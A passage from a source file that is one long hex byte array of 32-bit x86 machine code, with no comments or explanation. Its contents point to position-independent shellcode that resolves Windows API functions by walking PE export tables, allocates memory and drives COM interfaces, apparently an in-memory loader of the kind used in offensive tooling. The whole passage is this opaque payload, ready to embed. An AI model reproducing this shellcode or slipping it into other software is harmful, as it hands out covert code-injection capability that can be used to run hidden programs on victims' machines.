0x45, 0xb4, 0xc7, 0x45, 0xf4, 0x00, 0x00, 847 | 0x00, 0x00, 0xeb, 0x66, 0x8b, 0x55, 0xf4, 0x89, 0xd0, 0xc1, 0xe0, 0x02, 848 | 0x01, 0xd0, 0xc1, 0xe0, 0x03, 0x89, 0xc2, 0x8b, 0x45, 0xb4, 0x01, 0xd0, 849 | 0x8b, 0x10, 0x8b, 0x45, 0x08, 0x05, 0x44, 0x03, 0x00, 0x00, 0x8b, 0x00, 850 | 0x39, 0xc2, 0x75, 0x3e, 0x8b, 0x55, 0xf4, 0x89, 0xd0, 0xc1, 0xe0, 0x02, 851 | 0x01, 0xd0, 0xc1, 0xe0, 0x03, 0x89, 0xc2, 0x8b, 0x45, 0xb4, 0x01, 0xd0, 852 | 0x8b, 0x50, 0x0c, 0x8b, 0x45, 0xc0, 0x01, 0xd0, 0x89, 0x45, 0xec, 0x8b, 853 | 0x55, 0xf4, 0x89, 0xd0, 0xc1, 0xe0, 0x02, 0x01, 0xd0, 0xc1, 0xe0, 0x03, 854 | 0x89, 0xc2, 0x8b, 0x45, 0xb4, 0x01, 0xd0, 0x8b, 0x40, 0x08, 0xc1, 0xe8, 855 | 0x02, 0x89, 0x45, 0xf0, 0xeb, 0x13, 0x83, 0x45, 0xf4, 0x01, 0x8b, 0x45, 856 | 0xb8, 0x0f, 0xb7, 0x40, 0x06, 0x0f, 0xb7, 0xc0, 0x3b, 0x45, 0xf4, 0x77, 857 | 0x8b, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0xe9, 0xa7, 0x00, 0x00, 858 | 0x00, 0x8b, 0x45, 0xf4, 0x8d, 0x14, 0x85, 0x00, 0x00, 0x00, 0x00, 0x8b, 859 | 0x45, 0xec, 0x01, 0xd0, 0x89, 0x45, 0xe8, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 860 | 0x04, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 861 | 0x6b, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x74, 0x8b, 0x45, 0x08, 0x8b, 862 | 0x90, 0xc8, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xc4, 0x8d, 0x48, 0x40, 0xc7, 863 | 0x44, 0x24, 0x08, 0x01, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe8, 0x89, 0x44, 864 | 0x24, 0x04, 0x89, 0x0c, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x0c, 0x85, 0xc0, 865 | 0x74, 0x4d, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xd0, 0x00, 0x00, 0x00, 0x8b, 866 | 0x45, 0xc4, 0x83, 0xc0, 0x40, 0xc7, 0x44, 0x24, 0x08, 0x01, 0x00, 0x00, 867 | 0x00, 0x89, 0x44, 0x24, 0x04, 0x8d, 0x45, 0x90, 0x89, 0x04, 0x24, 0xff, 868 | 0xd2, 0x83, 0xec, 0x0c, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xe0, 0x00, 0x00, 869 | 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xe8, 0x89, 870 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0xc7, 0x45, 0xe0, 0x01, 0x00, 871 | 0x00, 0x00, 0xeb, 0x14, 0x90, 0xeb, 0x01, 0x90, 0x83, 0x45, 0xf4, 0x01, 872 | 0x8b, 0x45, 0xf4, 0x3b, 0x45, 0xf0, 0x0f, 0x82, 0x4d, 0xff, 0xff, 0xff, 873 | 0x83, 0x7d, 0xe0, 0x00, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 874 | 0x55, 0x02, 0x00, 0x00, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0xe9, 875 | 0xa5, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf4, 0x8d, 0x14, 0x85, 0x00, 0x00, 876 | 0x00, 0x00, 0x8b, 0x45, 0xec, 0x01, 0xd0, 0x89, 0x45, 0xb0, 0x8b, 0x45, 877 | 0xb0, 0x8b, 0x40, 0x04, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 878 | 0x04, 0x24, 0xe8, 0x9c, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x72, 0x8b, 879 | 0x45, 0x08, 0x8b, 0x90, 0xcc, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 880 | 0x01, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xb0, 0x89, 0x44, 0x24, 0x04, 0x8d, 881 | 0x45, 0x90, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x0c, 0x85, 0xc0, 882 | 0x74, 0x4e, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xd0, 0x00, 0x00, 0x00, 0xc7, 883 | 0x44, 0x24, 0x08, 0x01, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe8, 0x89, 0x44, 884 | 0x24, 0x04, 0x8d, 0x45, 0x90, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 885 | 0x0c, 0x8b, 0x45, 0xf4, 0x8d, 0x14, 0x85, 0x00, 0x00, 0x00, 0x00, 0x8b, 886 | 0x45, 0xec, 0x01, 0xc2, 0xc7, 0x44, 0x24, 0x08, 0x08, 0x00, 0x00, 0x00, 887 | 0x8d, 0x45, 0x90, 0x89, 0x44, 0x24, 0x04, 0x89, 0x14, 0x24, 0xe8, 0x4f, 888 | 0x1a, 0x00, 0x00, 0xeb, 0x14, 0x90, 0xeb, 0x01, 0x90, 0x83, 0x45, 0xf4, 889 | 0x01, 0x8b, 0x45, 0xf4, 0x3b, 0x45, 0xf0, 0x0f, 0x82, 0x4f, 0xff, 0xff, 890 | 0xff, 0x8b, 0x45, 0xc8, 0x8b, 0x40, 0x0c, 0x89, 0x45, 0xac, 0x8b, 0x45, 891 | 0xac, 0x8b, 0x40, 0x0c, 0x89, 0x45, 0xe4, 0xe9, 0x6e, 0x01, 0x00, 0x00, 892 | 0x8b, 0x45, 0x08, 0x05, 0x6c, 0x03, 0x00, 0x00, 0x89, 0x45, 0xd4, 0xc7, 893 | 0x45, 0xcc, 0x01, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xd0, 0x00, 0x00, 0x00, 894 | 0x00, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x48, 0x8b, 0x55, 895 | 0xd4, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x3c, 0x77, 0x75, 896 | 0x07, 0xc7, 0x45, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x55, 0xd4, 0x8b, 897 | 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x3c, 0x70, 0x75, 0x07, 0xc7, 898 | 0x45, 0xd0, 0x01, 0x00, 0x00, 0x00, 0x8b, 0x55, 0xd4, 0x8b, 0x45, 0xf4, 899 | 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x8d, 0x8d, 0x10, 0xff, 0xff, 0xff, 0x8b, 900 | 0x55, 0xf4, 0x01, 0xca, 0x88, 0x02, 0x83, 0x45, 0xf4, 0x01, 0x8b, 0x55, 901 | 0xd4, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x74, 902 | 0x15, 0x8b, 0x55, 0xd4, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 903 | 0x3c, 0x3b, 0x74, 0x06, 0x83, 0x7d, 0xf4, 0x7f, 0x76, 0x94, 0x83, 0x7d, 904 | 0xf4, 0x00, 0x0f, 0x84, 0xcd, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf4, 0x83, 905 | 0xc0, 0x01, 0x01, 0x45, 0xd4, 0x8d, 0x95, 0x10, 0xff, 0xff, 0xff, 0x8b, 906 | 0x45, 0xf4, 0x01, 0xd0, 0xc6, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x48, 907 | 0x34, 0x8b, 0x45, 0xe4, 0x8b, 0x40, 0x18, 0x8d, 0x95, 0x10, 0xff, 0xff, 908 | 0xff, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 909 | 0x08, 0x89, 0x45, 0xa8, 0x83, 0x7d, 0xa8, 0x00, 0x0f, 0x84, 0x85, 0x00, 910 | 0x00, 0x00, 0x83, 0x7d, 0xcc, 0x00, 0x74, 0x3e, 0x8b, 0x45, 0xa8, 0x89, 911 | 0x45, 0xdc, 0x83, 0x7d, 0xd0, 0x00, 0x74, 0x0e, 0x8b, 0x45, 0xa8, 0x89, 912 | 0x45, 0xa4, 0x8b, 0x45, 0xa4, 0xff, 0xd0, 0x89, 0x45, 0xdc, 0x83, 0x7d, 913 | 0xdc, 0x00, 0x0f, 0x84, 0x07, 0xff, 0xff, 0xff, 0x8b, 0x45, 0xdc, 0x8b, 914 | 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xfa, 0xfe, 0xff, 0xff, 0x8b, 0x55, 0x94, 915 | 0x8b, 0x45, 0xdc, 0x89, 0x10, 0xe9, 0xed, 0xfe, 0xff, 0xff, 0x8b, 0x45, 916 | 0xa8, 0x89, 0x45, 0xd8, 0x83, 0x7d, 0xd0, 0x00, 0x74, 0x0e, 0x8b, 0x45, 917 | 0xa8, 0x89, 0x45, 0xa0, 0x8b, 0x45, 0xa0, 0xff, 0xd0, 0x89, 0x45, 0xd8, 918 | 0x83, 0x7d, 0xd8, 0x00, 0x0f, 0x84, 0xc9, 0xfe, 0xff, 0xff, 0x8b, 0x45, 919 | 0xd8, 0x8b, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xbc, 0xfe, 0xff, 0xff, 0x8b, 920 | 0x45, 0xe8, 0x8b, 0x50, 0x04, 0x8b, 0x45, 0xd8, 0x89, 0x10, 0xe9, 0xac, 921 | 0xfe, 0xff, 0xff, 0x90, 0xe9, 0xa6, 0xfe, 0xff, 0xff, 0x90, 0x8b, 0x45, 922 | 0xe4, 0x8b, 0x00, 0x89, 0x45, 0xe4, 0x8b, 0x45, 0xe4, 0x8b, 0x40, 0x18, 923 | 0x85, 0xc0, 0x0f, 0x85, 0x84, 0xfe, 0xff, 0xff, 0xb8, 0x01, 0x00, 0x00, 924 | 0x00, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0x53, 0x81, 0xec, 0x34, 0x03, 0x00, 925 | 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x48, 0x3c, 0x8b, 0x45, 0x08, 0x8b, 0x90, 926 | 0x1c, 0x09, 0x00, 0x00, 0x8b, 0x80, 0x18, 0x09, 0x00, 0x00, 0x83, 0xc0, 927 | 0x01, 0x83, 0xd2, 0x00, 0x01, 0xc0, 0xc7, 0x44, 0x24, 0x0c, 0x04, 0x00, 928 | 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x00, 0x30, 0x00, 0x00, 0x89, 0x44, 929 | 0x24, 0x04, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd1, 0x83, 930 | 0xec, 0x10, 0x89, 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x0f, 0x84, 0x18, 931 | 0x03, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x50, 0x8b, 0x45, 0x0c, 932 | 0x8b, 0x80, 0x24, 0x05, 0x00, 0x00, 0x01, 0xc0, 0x89, 0xc3, 0x8b, 0x45, 933 | 0x0c, 0x8d, 0x88, 0x28, 0x05, 0x00, 0x00, 0x89, 0x5c, 0x24, 0x14, 0x8b, 934 | 0x45, 0xf4, 0x89, 0x44, 0x24, 0x10, 0xc7, 0x44, 0x24, 0x0c, 0xff, 0xff, 935 | 0xff, 0xff, 0x89, 0x4c, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 936 | 0x00, 0x00, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2, 0x83, 937 | 0xec, 0x18, 0x8d, 0x45, 0x88, 0x89, 0x45, 0xb4, 0x8d, 0x45, 0xb4, 0x89, 938 | 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0xbf, 0x02, 939 | 0x00, 0x00, 0x8d, 0x85, 0x74, 0xff, 0xff, 0xff, 0x89, 0x45, 0xbc, 0x8d, 940 | 0x45, 0xb4, 0x83, 0xc0, 0x08, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 941 | 0x89, 0x04, 0x24, 0xe8, 0xd6, 0x06, 0x00, 0x00, 0x8d, 0x85, 0xfc, 0xfe, 942 | 0xff, 0xff, 0x89, 0x45, 0xc8, 0x8d, 0x45, 0xb4, 0x83, 0xc0, 0x14, 0x89, 943 | 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x6d, 0x08, 944 | 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0xbc, 0x00, 0x00, 0x00, 0xc7, 945 | 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x04, 0x24, 0x00, 0x00, 946 | 0x00, 0x00, 0xff, 0xd0, 0x83, 0xec, 0x08, 0x89, 0x45, 0xf0, 0x83, 0x7d, 947 | 0xf0, 0x00, 0x0f, 0x85, 0x04, 0x02, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 948 | 0x90, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8d, 0x98, 0x94, 0x06, 949 | 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8d, 0x88, 0x74, 0x06, 0x00, 0x00, 0x8d, 950 | 0x45, 0xe4, 0x89, 0x44, 0x24, 0x10, 0x89, 0x5c, 0x24, 0x0c, 0xc7, 0x44, 951 | 0x24, 0x08, 0x03, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 952 | 0x00, 0x00, 0x89, 0x0c, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x14, 0x89, 0x45, 953 | 0xf0, 0x83, 0x7d, 0xf0, 0x00, 0x0f, 0x85, 0xb9, 0x01, 0x00, 0x00, 0x8b, 954 | 0x45, 0xe4, 0x8b, 0x00, 0x8b, 0x08, 0x8b, 0x45, 0x08, 0x8d, 0x98, 0xc4, 955 | 0x06, 0x00, 0x00, 0x8b, 0x45, 0xe4, 0x8d, 0x55, 0xe8, 0x89, 0x54, 0x24, 956 | 0x08, 0x89, 0x5c, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 957 | 0x0c, 0x89, 0x45, 0xf0, 0x83, 0x7d, 0xf0, 0x00, 0x0f, 0x85, 0x60, 0x01, 958 | 0x00, 0x00, 0x8b, 0x45, 0xe8, 0x8b, 0x00, 0x8b, 0x50, 0x0c, 0x8b, 0x45, 959 | 0xe8, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 0x45, 0xf0, 960 | 0x83, 0x7d, 0xf0, 0x00, 0x0f, 0x85, 0x2d, 0x01, 0x00, 0x00, 0x8b, 0x45, 961 | 0xe4, 0x89, 0x45, 0xd4, 0x8b, 0x45, 0xe4, 0x8b, 0x00, 0x8b, 0x48, 0x0c, 962 | 0x8b, 0x45, 0xe4, 0x8d, 0x55, 0xb4, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 963 | 0x24, 0xff, 0xd1, 0x83, 0xec, 0x08, 0x89, 0x45, 0xf0, 0x83, 0x7d, 0xf0, 964 | 0x00, 0x0f, 0x85, 0x00, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8d, 0x90, 965 | 0xe0, 0x05, 0x00, 0x00, 0x8d, 0x85, 0xfa, 0xfc, 0xff, 0xff, 0x89, 0x44, 966 | 0x24, 0x08, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 967 | 0xe8, 0xb7, 0xdc, 0xff, 0xff, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x84, 0x00, 968 | 0x00, 0x00, 0x8d, 0x85, 0xfa, 0xfc, 0xff, 0xff, 0x89, 0x04, 0x24, 0xff, 969 | 0xd2, 0x83, 0xec, 0x04, 0x89, 0x45, 0xec, 0x8b, 0x45, 0xe4, 0x8b, 0x00, 970 | 0x8b, 0x48, 0x20, 0x8b, 0x45, 0xe4, 0xc7, 0x44, 0x24, 0x08, 0x02, 0x00, 971 | 0x00, 0x00, 0x8b, 0x55, 0xec, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 972 | 0xff, 0xd1, 0x83, 0xec, 0x0c, 0x89, 0x45, 0xf0, 0x8b, 0x45, 0x08, 0x8b, 973 | 0x90, 0x88, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xec, 0x89, 0x04, 0x24, 0xff, 974 | 0xd2, 0x83, 0xec, 0x04, 0x83, 0x7d, 0xf0, 0x00, 0x0f, 0x85, 0x81, 0x00, 975 | 0x00, 0x00, 0x8b, 0x45, 0xe8, 0x8b, 0x00, 0x8b, 0x48, 0x14, 0x8b, 0x45, 976 | 0xe8, 0xc7, 0x44, 0x24, 0x24, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 977 | 0x20, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x1c, 0x00, 0x00, 0x00, 978 | 0x00, 0xc7, 0x44, 0x24, 0x18, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 979 | 0x14, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x10, 0x00, 0x00, 0x00, 980 | 0x00, 0xc7, 0x44, 0x24, 0x0c, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 981 | 0x08, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x55, 0xf4, 0x89, 0x54, 0x24, 0x04, 982 | 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x28, 0x89, 0x45, 0xf0, 0x83, 983 | 0x7d, 0xf0, 0x00, 0x75, 0x1e, 0x8b, 0x45, 0xe4, 0x8b, 0x00, 0x8b, 0x50, 984 | 0x14, 0x8b, 0x45, 0xe4, 0xc7, 0x44, 0x24, 0x04, 0x02, 0x00, 0x00, 0x00, 985 | 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 0x45, 0xf0, 0x8b, 986 | 0x45, 0xe8, 0x8b, 0x00, 0x8b, 0x50, 0x08, 0x8b, 0x45, 0xe8, 0x89, 0x04, 987 | 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0xe4, 0x8b, 0x00, 0x8b, 988 | 0x50, 0x1c, 0x8b, 0x45, 0xe4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 989 | 0x04, 0x8b, 0x45, 0xe4, 0x8b, 0x00, 0x8b, 0x50, 0x08, 0x8b, 0x45, 0xe4, 990 | 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x08, 0x8b, 991 | 0x90, 0x1c, 0x09, 0x00, 0x00, 0x8b, 0x80, 0x18, 0x09, 0x00, 0x00, 0x83, 992 | 0xc0, 0x01, 0x83, 0xd2, 0x00, 0x01, 0xc0, 0x89, 0x44, 0x24, 0x08, 0xc7, 993 | 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf4, 0x89, 0x04, 994 | 0x24, 0xe8, 0x26, 0x15, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x40, 995 | 0xc7, 0x44, 0x24, 0x08, 0x00, 0xc0, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 996 | 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 997 | 0x83, 0xec, 0x0c, 0x90, 0x8b, 0x5d, 0xfc, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 998 | 0x53, 0x83, 0xec, 0x14, 0x8b, 0x45, 0x0c, 0x89, 0x45, 0xf4, 0x8b, 0x45, 999 | 0xf4, 0x8b, 0x18, 0xe8, 0xca, 0x11, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xf8, 1000 | 0x3f, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 1001 | 0x01, 0xd0, 0x89, 0x03, 0x8b, 0x45, 0xf4, 0x8b, 0x18, 0xe8, 0xac, 0x11, 1002 | 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xdb, 0x40, 0x40, 0x00, 0xb8, 0x5e, 0x50, 1003 | 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x04, 0x8b, 1004 | 0x45, 0xf4, 0x8b, 0x18, 0xe8, 0x8d, 0x11, 0x00, 0x00, 0x89, 0xc2, 0xb9, 1005 | 0x06, 0x41, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 1006 | 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x08, 0x8b, 0x45, 0xf4, 0x8b, 0x18, 0xe8, 1007 | 0x6e, 0x11, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x4f, 0x42, 0x40, 0x00, 0xb8, 1008 | 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 1009 | 0x0c, 0x8b, 0x45, 0xf4, 0x8b, 0x18, 0xe8, 0x4f, 0x11, 0x00, 0x00, 0x89, 1010 | 0xc2, 0xb9, 0x39, 0x41, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 1011 | 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x10, 0x8b, 0x45, 0xf4, 0x8b, 1012 | 0x18, 0xe8, 0x30, 0x11, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x76, 0x42, 0x40, 1013 | 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 1014 | 0x89, 0x43, 0x14, 0x8b, 0x45, 0xf4, 0x8b, 0x18, 0xe8, 0x11, 0x11, 0x00, 1015 | 0x00, 0x89, 0xc2, 0xb9, 0x82, 0x42, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 1016 | 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x18, 0x8b, 0x45, 1017 | 0xf4, 0x8b, 0x18, 0xe8, 0xf2, 0x10, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x8e, 1018 | 0x42, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 1019 | 0x01, 0xd0, 0x89, 0x43, 0x1c, 0x8b, 0x45, 0xf4, 0x8b, 0x18, 0xe8, 0xd3, 1020 | 0x10, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xc2, 0x41, 0x40, 0x00, 0xb8, 0x5e, 1021 | 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x20, 1022 | 0x8b, 0x45, 0xf4, 0x8b, 0x18, 0xe8, 0xb4, 0x10, 0x00, 0x00, 0x89, 0xc2, 1023 | 0xb9, 0x9a, 0x42, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 1024 | 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x24, 0x8b, 0x45, 0xf4, 0x8b, 0x18, 1025 | 0xe8, 0x95, 0x10, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xa6, 0x42, 0x40, 0x00, 1026 | 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 1027 | 0x43, 0x28, 0x8b, 0x45, 0xf4, 0xc7, 0x40, 0x04, 0x00, 0x00, 0x00, 0x00, 1028 | 0x8b, 0x45, 0xf4, 0x8b, 0x55, 0x08, 0x89, 0x50, 0x2c, 0x90, 0x83, 0xc4, 1029 | 0x14, 0x5b, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x28, 0x8b, 0x45, 1030 | 0x08, 0x89, 0x45, 0xf4, 0x83, 0x7d, 0x10, 0x00, 0x75, 0x0a, 0xb8, 0x03, 1031 | 0x40, 0x00, 0x80, 0xe9, 0xc3, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf4, 0x8b, 1032 | 0x40, 0x2c, 0x8d, 0x90, 0xf4, 0x05, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 1033 | 0x10, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x44, 0x24, 0x04, 0x89, 1034 | 0x14, 0x24, 0xe8, 0xac, 0x13, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x27, 0x8b, 1035 | 0x45, 0xf4, 0x8b, 0x40, 0x2c, 0x8d, 0x90, 0xa4, 0x06, 0x00, 0x00, 0xc7, 1036 | 0x44, 0x24, 0x08, 0x10, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x44, 1037 | 0x24, 0x04, 0x89, 0x14, 0x24, 0xe8, 0x85, 0x13, 0x00, 0x00, 0x85, 0xc0, 1038 | 0x75, 0x1d, 0x8b, 0x45, 0x10, 0x8b, 0x55, 0x08, 0x89, 0x10, 0x8b, 0x45, 1039 | 0x08, 0x89, 0x04, 0x24, 0xe8, 0x66, 0x00, 0x00, 0x00, 0x83, 0xec, 0x04, 1040 | 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x58, 0x8b, 0x45, 0xf4, 0x8b, 0x40, 1041 | 0x2c, 0x8d, 0x90, 0xb4, 0x06, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x10, 1042 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x44, 0x24, 0x04, 0x89, 0x14, 1043 | 0x24, 0xe8, 0x41, 0x13, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x23, 0x8b, 0x45, 1044 | 0xf4, 0x8d, 0x50, 0x08, 0x8b, 0x45, 0x10, 0x89, 0x10, 0x8b, 0x45, 0xf4, 1045 | 0x83, 0xc0, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x3e, 0x03, 0x00, 0x00, 0x83, 1046 | 0xec, 0x04, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0e, 0x8b, 0x45, 0x10, 1047 | 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc9, 1048 | 0xc2, 0x0c, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x10, 0x8b, 0x45, 0x08, 1049 | 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0x83, 0xc0, 0x04, 0x89, 0x45, 0xf8, 1050 | 0x8b, 0x45, 0xf8, 0xba, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0xc1, 0x10, 1051 | 0x8b, 0x45, 0xfc, 0x8b, 0x40, 0x04, 0xc9, 0xc2, 0x04, 0x00, 0x55, 0x89, 1052 | 0xe5, 0x83, 0xec, 0x10, 0x8b, 0x45, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x45, 1053 | 0xfc, 0x83, 0xc0, 0x04, 0x89, 0x45, 0xf4, 0x8b, 0x55, 0xf4, 0xb8, 0x01, 1054 | 0x00, 0x00, 0x00, 0xf7, 0xd8, 0x89, 0xc1, 0x89, 0xc8, 0xf0, 0x0f, 0xc1, 1055 | 0x02, 0x01, 0xc8, 0x89, 0x45, 0xf8, 0x8b, 0x45, 0xf8, 0xc9, 0xc2, 0x04, 1056 | 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x28, 0x8b, 0x45, 0x08, 0x89, 0x45, 1057 | 0xf4, 0x8b, 0x45, 0x10, 0x83, 0xe0, 0x02, 0x85, 0xc0, 0x74, 0x31, 0x83, 1058 | 0x7d, 0x18, 0x00, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x62, 1059 | 0x8b, 0x45, 0xf4, 0x8b, 0x40, 0x1c, 0x8b, 0x00, 0x8b, 0x50, 0x04, 0x8b, 1060 | 0x45, 0xf4, 0x8b, 0x40, 0x1c, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 1061 | 0x04, 0x8b, 0x45, 0xf4, 0x8b, 0x50, 0x1c, 0x8b, 0x45, 0x18, 0x89, 0x10, 1062 | 0x8b, 0x45, 0x10, 0x83, 0xe0, 0x01, 0x85, 0xc0, 0x74, 0x2f, 0x83, 0x7d, 1063 | 0x14, 0x00, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x27, 0x8b, 1064 | 0x45, 0xf4, 0x8b, 0x40, 0x14, 0x8b, 0x40, 0x04, 0x8b, 0x55, 0xf4, 0x83, 1065 | 0xc2, 0x14, 0x89, 0x14, 0x24, 